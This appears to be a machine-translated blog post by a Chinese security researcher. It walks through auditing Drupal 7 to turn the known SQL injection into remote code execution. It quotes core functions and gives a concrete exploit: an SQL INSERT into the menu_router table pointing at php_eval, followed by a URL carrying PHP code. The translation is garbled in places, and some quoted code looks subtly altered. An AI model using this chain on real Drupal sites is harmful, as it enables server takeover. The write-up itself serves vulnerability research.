0x00
A few days ago, a Drupal SQL injection vulnerability was exploded, but this vulnerability is not only as simple as SQL injection, but also can be used to rce. Se also mentioned it on twitter, but didn't give details. However, when I look at it again today, I find that the exp of remote code execution has been released, so I won't hide it. It's the product of my first code audit to record the mining process.
Se refers to rce caused by Drupal's callbacks. Then the audit point is on the callback. A built-in function in PHP, call ﹣ user ﹣ func ﹣ array, can do this. The parameters accepted are as follows:
call_user_func_array ( callable $callback , array $param_arr )
The first parameter is the name of the function, and the second is the parameter of the parameter to be called. With these features, you can implement Drupal's various fancy getshells. I only audit one, there are many ways not to achieve (after all, slag can not see).
0x01
Drupal has a feature that allows administrators to add PHP tags to write articles, called PHP filter. This feature is off by default. Of course, because PDO can execute multiple lines of SQL statements, we can directly add management users and log in, open the module of PHP filter, publish articles, and finally get shell. It's also easy to automate, which is to combine all executed SQL statements from opening PHP filter to publishing as a payload, and finally get shell. I've done POC of this idea, but it's too tedious. Finally, payloads come out for a long time, not elegant at all, and they don't take advantage of the characteristics of callback. In order to drill a bull's horn, let's audit how to get a fancy getshell. As mentioned above, PHP filter is a feature that can execute PHP code. The file where PHP filter is located is / modules / PHP / php.module
/modules/php/php.module
function php_eval($code) {
..
ob_start();
die($code);
print eval('?>' . $code);
$output = ob_get_contents();
ob_end_clean();
$theme_path = $old_theme_path;
return $output;
}
This function is used to execute custom PHP code.
0x02
For the audit tool, I find and grep the file directly, and use phpstorm + ideavim (plugin of phpstorm) to track the function. It's easy and pleasant. We are sure that we want to find the function call ﹣ user ﹣ func ﹣ array, and use the following command to find it:
cd /var/www/html/drupal
find . -type f -name "*" | xargs grep call_user_func_array
In fact, we can further narrow the scope, because the first function is the function we call, and if we want to make use of it, we need to control the first parameter of the function, so we can further narrow the scope:
call_user_func_array
find . -type f -name "*" | xargs grep call_user_func_array\(\\$ | grep -v ". '_'"
The results are as follows:
Next, we'll look at the context to see where we can control that variable. After checking one by one, I navigate to the menu menu execute active handler function in / include / menu.inc.
/include/menu.inc
menu_execute_active_handler
One
Two
Three
Four
Five
Six
Seven
Eight
Nine
Ten
Eleven
Twelve
Thirteen
Fourteen
Fifteen
Sixteen
Seventeen
Eighteen
Nineteen
Twenty
Twenty-one
Twenty-two
Twenty-three
Twenty-four
function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
$page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE;
$read_only_path = !empty($path) ? $path : $_GET['q'];
drupal_alter('menu_site_status', $page_callback_result, $read_only_path);
if ($page_callback_result == MENU_SITE_ONLINE) {
if ($router_item = menu_get_item($path)) {
if ($router_item['access']) {
if ($router_item['include_file']) {
require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
}
$page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
}
else {
$page_callback_result = MENU_ACCESS_DENIED;
}
}
else {
$page_callback_result = MENU_NOT_FOUND;
}
}
}
As you can see from reading, we can control the parameter $'Get ['q '], and then enter the function menu'get'item. The core code of this function is here:
$_GET['q']
menu_get_item
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (!isset($router_items[$path])) { if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) { menu_rebuild(); } $original_map = arg(NULL, $path); $parts = array_slice($original_map, 0, MENU_MAX_PARTS); $ancestors = menu_get_ancestors($parts); $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc(); if ($router_item) { drupal_alter('menu_get_item', $router_item, $path, $original_map); $map = _menu_translate($router_item, $original_map); $router_item['original_map'] = $original_map; if ($map === FALSE) { $router_items[$path] = FALSE; return FALSE; } if ($router_item['access']) { $router_item['map'] = $map; $router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts'])); $router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts'])); } } 在 menu_router 里查询我们输入的$_GET['q'],然后从返回所有字段。接着回到menu_execute_active_handler函数。
$_GET['q']
menu_execute_active_handler
if ($router_item['include_file']) {
require_once DRUPAL_ROOT . '/' . $router_item['include_file'];
}
Here, take the include file from the router item and use require once to include it. This is a point, because Drupal does not turn on PHP filter by default. If it's included here, you don't need to turn on PHP filter. Next, take out the page call in the router item and carry it into call user func array for execution. So far the whole process is clear to us. Note that the first parameter of page_arguments is executed, and the first parameter is the value of $_get ['q '].
router_item
include_file
require_once
router_item
page_callback
call_user_func_array
page_arguments
$_GET['q']
0x03
- Insert a piece of data into the menu router table by injection: path is the code to be executed; include file is the path of PHP filter module; page call is PHP Eval; access call is 1 (any user can access it).
- Path is the code to be executed;
- Include file is the path of PHP filter module;
- Page "callback" is PHP "Eval;
- Access? Callback is 1 (it can be accessed by any user).
- Access to the address results in rce.
Let's test it. First, execute the statement in the database:
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module');
Then visit http://192.168.1.109/drupal/? Q =% 3C? PHP% 20phpinfo();?% 3E.
http://192.168.1.109/drupal/?q=%3C?php%20phpinfo();?%3E
0x04
Exp has been released on beebeebeto. The address is poked at me. I just wrote a Book of praise and masturbated.
======Copyright line======
Original author: zhichuangyu ricter